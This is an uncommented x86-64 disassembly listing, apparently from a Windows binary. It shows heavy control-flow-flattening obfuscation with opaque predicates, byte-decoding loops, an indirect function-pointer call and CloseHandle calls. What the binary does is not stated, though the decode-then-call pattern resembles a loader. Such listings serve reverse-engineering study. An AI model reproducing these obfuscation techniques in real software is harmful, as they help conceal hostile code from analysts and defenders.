jmp 0x140016180
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140016180
mov eax, 0x9ce81538
jmp 0x140016180
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xc], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140016320
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140016360
cmp ecx, 0x54254c19
jg 0x140016390
cmp ecx, 0x413ac401
je 0x1400163ed
cmp ecx, 0x4de8461d
je 0x14001640c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140016320
mov eax, edi
jmp 0x140016320
cmp ecx, 0xd13082ef
jle 0x1400163c0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140016320
cmp ecx, 0xe0d67025
je 0x14001642a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140016320
mov eax, r11d
jmp 0x140016320
cmp ecx, 0x54254c1a
je 0x140016434
cmp ecx, 0x62439574
je 0x1400162ec
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140016320
mov eax, 0x4ec8e6fe
jmp 0x140016320
cmp ecx, 0x8ceadef2
je 0x14001645b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140016320
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140016320
jmp 0x140016795
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140016320
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xd]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140016320
mov eax, 0x4de8461d
jmp 0x140016320
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140016320
mov eax, 0x9ce81538
jmp 0x140016320
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 0xd], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 0xe]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x1400164c0
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, 0x54254c1a
nop
mov edi, edx
cmp edx, 0x413ac400
jle 0x140016500
cmp edi, 0x54254c19
jg 0x140016530
cmp edi, 0x413ac401
je 0x14001658d
cmp edi, 0x4de8461d
je 0x1400165ac
mov edx, edi
cmp edi, 0x4ec8e6fe
jne 0x1400164c0
mov edx, r10d
jmp 0x1400164c0
cmp edi, 0xd13082ef
jle 0x140016560
mov edx, r11d
cmp edi, 0xd13082f0
je 0x1400164c0
cmp edi, 0xe0d67025
je 0x1400165c6
mov edx, edi
cmp edi, 0x216c1d41
jne 0x1400164c0
mov edx, esi
jmp 0x1400164c0
cmp edi, 0x54254c1a
je 0x1400165d0
cmp edi, 0x62439574
je 0x140016498
mov edx, edi
cmp edi, 0x76479a56
jne 0x1400164c0
mov edx, 0x4ec8e6fe
jmp 0x1400164c0
cmp edi, 0x8ceadef2
je 0x1400165f8
mov edx, eax
cmp edi, 0x9ce81538
je 0x1400164c0
mov edx, edi
cmp edi, 0xc5c4e523
jne 0x1400164c0
jmp 0x140016935
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov edx, 0x76479a56
cmovne edx, r14d
test cl, cl
cmovne edx, r14d
jmp 0x1400164c0
mov qword [rbp + 0x78], r9
lea rcx, [r12 + 0xe]
mov qword [rbp + 0x80], rcx
mov edx, 0x216c1d41
jmp 0x1400164c0
mov edx, 0x4de8461d
jmp 0x1400164c0
mov rbx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x80]
mov edx, ecx
and edx, 0x6c
or edx, 0x13
and ecx, 0x93
xor ebx, ecx
xor ebx, edx
xor bl, 0x13
mov edx, r8d
jmp 0x1400164c0
mov edx, 0x9ce81538
jmp 0x1400164c0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xc], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140016650
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140016690
cmp ecx, 0x54254c19
jg 0x1400166c0
cmp ecx, 0x413ac401
je 0x14001671d
cmp ecx, 0x4de8461d
je 0x14001673c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140016650
mov eax, edi
jmp 0x140016650
cmp ecx, 0xd13082ef
jle 0x1400166f0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140016650
cmp ecx, 0xe0d67025
je 0x14001675a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140016650
mov eax, r11d
jmp 0x140016650
cmp ecx, 0x54254c1a
je 0x140016764
cmp ecx, 0x62439574
je 0x140016629
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140016650
mov eax, 0x4ec8e6fe
jmp 0x140016650
cmp ecx, 0x8ceadef2
je 0x14001678b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140016650
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140016650
jmp 0x140016ad2
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140016650
lea rax, [r15 + 0x64]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xd]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140016650
mov eax, 0x4de8461d
jmp 0x140016650
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140016650
mov eax, 0x9ce81538
jmp 0x140016650
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xd], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x1400167f0
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140016830
cmp ecx, 0x54254c19
jg 0x140016860
cmp ecx, 0x413ac401
je 0x1400168bd
cmp ecx, 0x4de8461d
je 0x1400168dc
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x1400167f0
mov eax, edi
jmp 0x1400167f0
cmp ecx, 0xd13082ef
jle 0x140016890
mov eax, edx
cmp ecx, 0xd13082f0
je 0x1400167f0
cmp ecx, 0xe0d67025
je 0x1400168fa
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x1400167f0
mov eax, r11d
jmp 0x1400167f0
cmp ecx, 0x54254c1a
je 0x140016904
cmp ecx, 0x62439574
je 0x1400167bc
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x1400167f0
mov eax, 0x4ec8e6fe
jmp 0x1400167f0
cmp ecx, 0x8ceadef2
je 0x14001692b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x1400167f0
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x1400167f0
jmp 0x140016c65
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x1400167f0
lea rax, [r15 + 0x65]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xe]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x1400167f0
mov eax, 0x4de8461d
jmp 0x1400167f0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x1400167f0
mov eax, 0x9ce81538
jmp 0x1400167f0
test r13b, 1
mov byte [rbp + 0x70], bl
mov cl, byte [rbp + 0x70]
mov rdx, qword [rbp + 0x48]
mov byte [rdx + 0xe], cl
mov rcx, qword [rbp + 0x58]
movzx r9d, byte [rcx + 0xf]
sete byte [rbp + 0x8f]
cmp dword [rbp + 0x38], 0xa
setl byte [rbp + 0x68]
add r9, r15
mov edx, 0x413ac401
jmp 0x140016990
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xd], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140016b20
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov eax, 0x54254c1a
nop
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140016b60
cmp ecx, 0x54254c19
jg 0x140016b90
cmp ecx, 0x413ac401
je 0x140016bed
cmp ecx, 0x4de8461d
je 0x140016c0c
mov eax, ecx
cmp ecx, 0x4ec8e6fe
jne 0x140016b20
mov eax, edi
jmp 0x140016b20
cmp ecx, 0xd13082ef
jle 0x140016bc0
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140016b20
cmp ecx, 0xe0d67025
je 0x140016c2a
mov eax, ecx
cmp ecx, 0x216c1d41
jne 0x140016b20
mov eax, r11d
jmp 0x140016b20
cmp ecx, 0x54254c1a
je 0x140016c34
cmp ecx, 0x62439574
je 0x140016af9
mov eax, ecx
cmp ecx, 0x76479a56
jne 0x140016b20
mov eax, 0x4ec8e6fe
jmp 0x140016b20
cmp ecx, 0x8ceadef2
je 0x140016c5b
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140016b20
mov eax, ecx
cmp ecx, 0xc5c4e523
jne 0x140016b20
jmp 0x140016fa2
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140016b20
lea rax, [r15 + 0x65]
mov qword [rbp + 0x78], rax
lea rax, [r12 + 0xe]
mov qword [rbp + 0x80], rax
mov eax, 0x216c1d41
jmp 0x140016b20
mov eax, 0x4de8461d
jmp 0x140016b20
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140016b20
mov eax, 0x9ce81538
jmp 0x140016b20
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xe], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140016cc0
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140016d00
cmp ecx, 0x54254c19
jg 0x140016d30
cmp ecx, 0x413ac401
je 0x140016d8d
cmp ecx, 0x4de8461d
je 0x140016dac
cmp ecx, 0xd13082ef
jle 0x140016d60
mov eax, edx
cmp ecx, 0xd13082f0
je 0x140016cc0
cmp ecx, 0xe0d67025
je 0x140016dca
cmp ecx, 0x54254c1a
je 0x140016dd4
cmp ecx, 0x62439574
je 0x140016c8c
cmp ecx, 0x8ceadef2
je 0x140016dfb
mov eax, esi
cmp ecx, 0x9ce81538
je 0x140016cc0
movzx ecx, byte [rbp + 0x8f]
cmp byte [rbp + 0x68], 0
mov eax, 0x76479a56
cmovne eax, r14d
test cl, cl
cmovne eax, r14d
jmp 0x140016cc0
mov rbx, qword [rbp + 0x78]
mov rax, qword [rbp + 0x80]
mov ecx, eax
and ecx, 0x6c
or ecx, 0x13
and eax, 0x93
xor ebx, eax
xor ebx, ecx
xor bl, 0x13
mov eax, r9d
jmp 0x140016cc0
mov eax, 0x9ce81538
jmp 0x140016cc0
test r10b, 1
mov byte [rbp + 0x70], bl
mov al, byte [rbp + 0x70]
mov rcx, qword [rbp + 0x60]
mov byte [rcx + 0xe], al
sete byte [rbp + 0x8f]
cmp r8d, 0xa
setl byte [rbp + 0x68]
mov eax, 0x413ac401
jmp 0x140016ff0
mov ecx, eax
cmp eax, 0x413ac400
jle 0x140017030
movabs r8, 0x36a0fa38eb0b3b73
movabs r9, 0x335a77a93a9c4e4c
mov r10d, 0x14521f21
mov r11d, 0x78700930
jmp 0x14000fd76
cmp eax, 0x35ed2f79
jne 0x14000fd76
mov rax, qword [rbp - 0x10]
mov ecx, 0xf391bf02
jmp 0x14001df5f
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1b146532
mov edx, 0x711d9768
cmove ecx, edx
cmp dword [0x140061094], 0xa
cmovl ecx, edx
cmp ecx, 0x1cd09fd9
jle 0x14001dfa0
cmp ecx, 0x711d9767
jg 0x14001dfd0
cmp ecx, 0x1cd09fda
je 0x14001e712
cmp ecx, 0x41954d33
jne 0x14001df5f
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1cd09fda
mov edx, 0xceffa855
jmp 0x14001df52
cmp ecx, 0x14328b55
jle 0x14001e006
cmp ecx, 0x14328b56
je 0x14001df39
cmp ecx, 0x1b146532
jne 0x14001df5f
mov ecx, 0x14328b56
jmp 0x14001df5f
cmp ecx, 0x711d9768
je 0x14001e730
cmp ecx, 0x74187cf8
jne 0x14001df5f
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1cd09fda
mov edx, 0x41954d33
jmp 0x14001df52
cmp ecx, 0xf391bf02
jne 0x14001e73a
mov ecx, 0x2e846965
jmp 0x14001e06d
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rdx
mov rcx, qword [rbp + 0x80]
add ecx, ecx
mov rdx, qword [rbp + 0x78]
sub edx, ecx
add dl, 0x1b
mov rcx, qword [rbp + 0x58]
mov byte [rax + rcx], dl
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x62a7e4c3
mov edx, 0x65b982bd
nop word cs:[rax + rax]
cmove ecx, edx
cmp dword [0x14006109c], 0xa
cmovl ecx, edx
cmp ecx, 0x1db77aaa
jle 0x14001e0c0
cmp ecx, 0x5eca73e0
jg 0x14001e130
cmp ecx, 0x37742a7d
jg 0x14001e21e
cmp ecx, 0x2e846964
jg 0x14001e2f2
cmp ecx, 0x1db77aab
je 0x14001e4ac
cmp ecx, 0x28c49782
jne 0x14001e06d
mov rcx, qword [rbp + 0x58]
mov ecx, 0xd0f4a969
jmp 0x14001e06d
cmp ecx, 0xd0f4a968
jg 0x14001e1d0
cmp ecx, 0x9efa5653
jg 0x14001e24c
cmp ecx, 0x948309c3
jg 0x14001e314
cmp ecx, 0x8054ff0d
je 0x14001e4ca
cmp ecx, 0x92f224e8
jne 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x8054ff0d
cmove ecx, r10d
cmp dword [0x14006109c], 0xa
cmovl ecx, r10d
jmp 0x14001e06d
cmp ecx, 0x72d13062
jg 0x14001e282
cmp ecx, 0x62a7e4c2
jg 0x14001e358
cmp ecx, 0x5eca73e1
je 0x14001e4d4
cmp ecx, 0x6146b743
jne 0x14001e06d
mov rdi, qword [rbp + 0x30]
movzx ecx, byte [rbp + 0x70]
mov qword [rbp + 0x28], rcx
mov rdx, r9
sub rdx, rdi
add rdi, r12
and rdx, r8
mov rcx, rdi
and rcx, r13
or rcx, rdx
mov esi, 0xe117bf3e
nop word cs:[rax + rax]
cmp esi, 0x82b39e1a
je 0x14001e4f2
cmp esi, 0xe117bf3e
jne 0x14001e190
mov rbx, qword [rbp + 0x28]
add rbx, rdi
mov rsi, qword [rbp + 0x28]
mov rdx, rcx
xor rdx, rsi
xor rdx, r13
and rdx, rsi
mov esi, 0x82b39e1a
jmp 0x14001e190
cmp ecx, 0xf43aa75d
jg 0x14001e2b0
cmp ecx, 0xd652ea33
jg 0x14001e38e
cmp ecx, 0xd0f4a969
je 0x14001e520
cmp ecx, 0xd1267ed4
jne 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x72d13063
mov edx, 0x948309c4
jmp 0x14001e060
cmp ecx, 0x48e6aaeb
jg 0x14001e3c4
cmp ecx, 0x37742a7e
je 0x14001e546
cmp ecx, 0x4202cf08
jne 0x14001e06d
mov ecx, 0x4ed0fe9b
jmp 0x14001e06d
cmp ecx, 0xc0a8b75a
jg 0x14001e3f2
cmp ecx, 0x9efa5654
je 0x14001e550
cmp ecx, 0xa81d91b1
jne 0x14001e06d
add qword [rbp + 0x58], 1
mov ecx, 0xdc0c27
jmp 0x14001e06d
cmp ecx, 0x7870092f
jg 0x14001e420
cmp ecx, 0x72d13063
je 0x14001e58c
cmp ecx, 0x7784efca
jne 0x14001e06d
mov ecx, 0x98a8bd8d
jmp 0x14001e06d
cmp ecx, 0x14521f20
jg 0x14001e492
cmp ecx, 0xf43aa75e
je 0x14001e596
cmp ecx, 0xdc0c27
jne 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x28c49782
mov edx, 0xd0f4a969
jmp 0x14001e060
cmp ecx, 0x2e846965
je 0x14001e5cd
cmp ecx, 0x36f12a19
jne 0x14001e06d
mov ecx, 0xa81d91b1
jmp 0x14001e06d
cmp ecx, 0x948309c4
je 0x14001e5eb
cmp ecx, 0x98a8bd8d
jne 0x14001e06d
mov qword [rbp + 0x20], rax
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x7784efca
cmove ecx, r11d
cmp dword [0x14006109c], 0xa
cmovl ecx, r11d
jmp 0x14001e06d
cmp ecx, 0x62a7e4c3
je 0x14001e5f5
cmp ecx, 0x65b982bd
jne 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x6146b743
mov edx, 0x36f12a19
jmp 0x14001e060
cmp ecx, 0xd652ea34
je 0x14001e652
cmp ecx, 0xddfd5a19
jne 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x37742a7e
mov edx, 0x1db77aab
jmp 0x14001e060
cmp ecx, 0x48e6aaec
je 0x14001e66e
cmp ecx, 0x4ed0fe9b
jne 0x14001e06d
mov rcx, qword [rbp]
cmp rcx, 0x50
setb byte [rbp + 0x68]
mov ecx, 0xddfd5a19
jmp 0x14001e06d
cmp ecx, 0xc0a8b75b
je 0x14001e68c
cmp ecx, 0xcb72f38d
jne 0x14001e06d
cmp byte [rbp + 0x68], 0
mov ecx, 0x19bb44c2
mov edx, 0xd652ea34
cmovne ecx, edx
jmp 0x14001e06d
cmp ecx, 0x78700930
je 0x14001e6bc
cmp ecx, 0x7b2ba3aa
jne 0x14001e06d
mov rdi, qword [rbp + 0x30]
movzx ecx, byte [rbp + 0x70]
mov qword [rbp + 0x28], rcx
mov rdx, r9
sub rdx, rdi
add rdi, r12
and rdx, r8
mov rcx, rdi
and rcx, r13
or rcx, rdx
mov esi, 0xe117bf3e
nop
cmp esi, 0x82b39e1a
je 0x14001e019
cmp esi, 0xe117bf3e
jne 0x14001e460
mov rbx, qword [rbp + 0x28]
add rbx, rdi
mov rsi, qword [rbp + 0x28]
mov rdx, rcx
xor rdx, rsi
xor rdx, r13
and rdx, rsi
mov esi, 0x82b39e1a
jmp 0x14001e460
cmp ecx, 0x19bb44c2
jne 0x14001e6f4
mov rcx, qword [rbp + 0x10]
mov ecx, 0x9efa5654
jmp 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x37742a7e
mov edx, 0xcb72f38d
jmp 0x14001e060
mov ecx, 0x92f224e8
jmp 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x62a7e4c3
mov edx, 0x7b2ba3aa
jmp 0x14001e060
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rdx
mov rcx, qword [rbp + 0x80]
add ecx, ecx
mov rdx, qword [rbp + 0x78]
sub edx, ecx
add dl, 0x1b
mov rcx, qword [rbp + 0x58]
mov byte [rax + rcx], dl
mov ecx, 0x5eca73e1
jmp 0x14001e06d
mov rcx, qword [rbp + 0x58]
mov qword [rbp], rcx
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x28c49782
mov edx, 0x4202cf08
jmp 0x14001e060
mov ecx, 0x1db77aab
jmp 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
and dl, 1
cmp dword [0x14006109c], 0xa
setl bl
mov ecx, 0x7784efca
mov esi, 0x98a8bd8d
cmovl ecx, esi
xor bl, dl
test dl, dl
mov edx, 0x7784efca
cmovne ecx, edx
test bl, bl
cmove ecx, esi
jmp 0x14001e06d
mov ecx, 0xd1267ed4
jmp 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x14006109c], 0xa
setl dl
setge bl
xor bl, cl
and dl, cl
xor dl, bl
mov ecx, 0x5eca73e1
mov edx, 0x6146b743
cmovne ecx, edx
jmp 0x14001e06d
lea rcx, [rbp + 0x58]
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x58], 0
mov ecx, 0xc0a8b75b
jmp 0x14001e06d
mov ecx, 0xdc0c27
jmp 0x14001e06d
mov rdi, qword [rbp + 0x30]
movzx ecx, byte [rbp + 0x70]
mov qword [rbp + 0x28], rcx
mov rdx, r9
sub rdx, rdi
add rdi, r12
and rdx, r8
mov rcx, rdi
and rcx, r13
or rcx, rdx
mov esi, 0xe117bf3e
nop dword [rax + rax]
cmp esi, 0x82b39e1a
je 0x14001e6c6
cmp esi, 0xe117bf3e
jne 0x14001e620
mov rbx, qword [rbp + 0x28]
add rbx, rdi
mov rsi, qword [rbp + 0x28]
mov rdx, rcx
xor rdx, rsi
xor rdx, r13
and rdx, rsi
mov esi, 0x82b39e1a
jmp 0x14001e620
mov rcx, qword [rbp + 0x58]
mov qword [rbp + 0x30], rcx
mov rcx, qword [rbp + 0x58]
mov cl, byte [rax + rcx]
mov byte [rbp + 0x70], cl
mov ecx, 0xf43aa75e
jmp 0x14001e06d
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x8054ff0d
mov edx, 0x92f224e8
jmp 0x14001e060
mov ecx, dword [0x140061098]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0xd1267ed4
mov edx, 0x72d13063
cmovne ecx, edx
cmp dword [0x14006109c], 0xa
mov edx, 0xd1267ed4
cmovl ecx, edx
jmp 0x14001e06d
mov ecx, 0x48e6aaec
jmp 0x14001e06d
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x80], rdx
mov rcx, qword [rbp + 0x80]
add ecx, ecx
mov rdx, qword [rbp + 0x78]
sub edx, ecx
add dl, 0x1b
mov rcx, qword [rbp + 0x58]
mov byte [rax + rcx], dl
mov ecx, 0x7b2ba3aa
jmp 0x14001e06d
cmp ecx, 0x14521f21
jne 0x14001e06d
mov rcx, qword [rbp + 0x20]
mov qword [rbp + 8], rcx
mov ecx, 0x74187cf8
jmp 0x14001df5f
mov ecx, dword [0x140061090]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x1b146532
mov edx, 0x14328b56
jmp 0x14001df52
mov ecx, 0x41954d33
jmp 0x14001df5f
cmp ecx, 0xceffa855
jne 0x14001df5f
mov rdx, qword [rbp + 8]
mov r8, qword [rbp - 0x68]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
xor ecx, ecx
xor r9d, r9d
call qword [rbp - 0x30]
mov r11d, 0x78700930
mov r10d, 0x14521f21
movabs r9, 0x335a77a93a9c4e4c
movabs r8, 0x36a0fa38eb0b3b73
add rsp, 0x30
mov dword [rbp - 0x44], eax
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc13774ef
mov ecx, 0x6ee075b2
jmp 0x1400010f0
cmp eax, 0x1c26345b
jg 0x14001e914
cmp eax, 0x13d01c2e
je 0x14001e9be
cmp eax, 0x1476c5fc
jne 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf6ee400c
mov ecx, 0xda310ce3
jmp 0x1400010f0
cmp eax, 0x540559c1
jle 0x14001e92f
cmp eax, 0x540559c2
je 0x14001e9dc
cmp eax, 0x5f7d325c
jne 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ec52694
mov ecx, 0x13d01c2e
jmp 0x1400010f0
cmp eax, 0x8b21b3b4
je 0x14001e9f6
cmp eax, 0x957ea168
je 0x14001ea00
cmp eax, 0xb4718e31
jne 0x1400010fd
mov cl, byte [rbp - 1]
cmp byte [rbp - 2], 0
mov eax, 0x6b2333b7
mov edx, 0x1dcfbe19
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1400010fd
cmp eax, 0x6a3c7eab
je 0x14001ea54
cmp eax, 0x6b2333b7
je 0x14001ead0
jmp 0x1400010fd
cmp eax, 0xf6ee400c
je 0x14001ea76
cmp eax, 0xa8bbf31
jne 0x1400010fd
mov eax, 0x1f73dca4
jmp 0x1400010fd
cmp eax, 0x2fe48576
je 0x1400010ce
cmp eax, 0x3084dc10
jne 0x1400010fd
mov eax, 0x1ecded1b
jmp 0x1400010fd
cmp eax, 0xc5ef8775
je 0x14001ea80
cmp eax, 0xda310ce3
jne 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3a00c2c5
mov ecx, 0xc08aad47
jmp 0x1400010f0
cmp eax, 0x7e9dbe13
je 0x14001ea9e
cmp eax, 0x7ec52694
jne 0x1400010fd
mov eax, 0x13d01c2e
jmp 0x1400010fd
cmp eax, 0x1c26345c
je 0x14001eaa8
cmp eax, 0x1dcfbe19
je 0x14001eb70
jmp 0x1400010fd
cmp eax, 0x3a00c2c5
jne 0x14001eab2
mov eax, 0xc08aad47
jmp 0x1400010fd
mov eax, 0xddd7ceb7
jmp 0x1400010fd
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp - 0x40]
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1c26345c
mov ecx, 0x66908dde
jmp 0x1400010f0
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3084dc10
mov ecx, 0x645cb220
jmp 0x1400010f0
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3a00c2c5
mov ecx, 0xc5ef8775
jmp 0x1400010f0
mov eax, 0x540559c2
jmp 0x1400010fd
mov eax, dword [0x140061078]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x7ec52694
mov ecx, 0x48c17a15
jmp 0x1400010f0
mov rax, qword [rbp - 0x70]
cmp dword [rbp - 0x44], 0
mov eax, 0x2fe48576
mov ecx, 0xe5bf89e5
cmove eax, ecx
jmp 0x1400010fd
mov eax, 0x6a3c7eab
jmp 0x1400010fd
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax]
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
add rsp, 0x20
mov rax, qword [rbp - 0x28]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call rsi
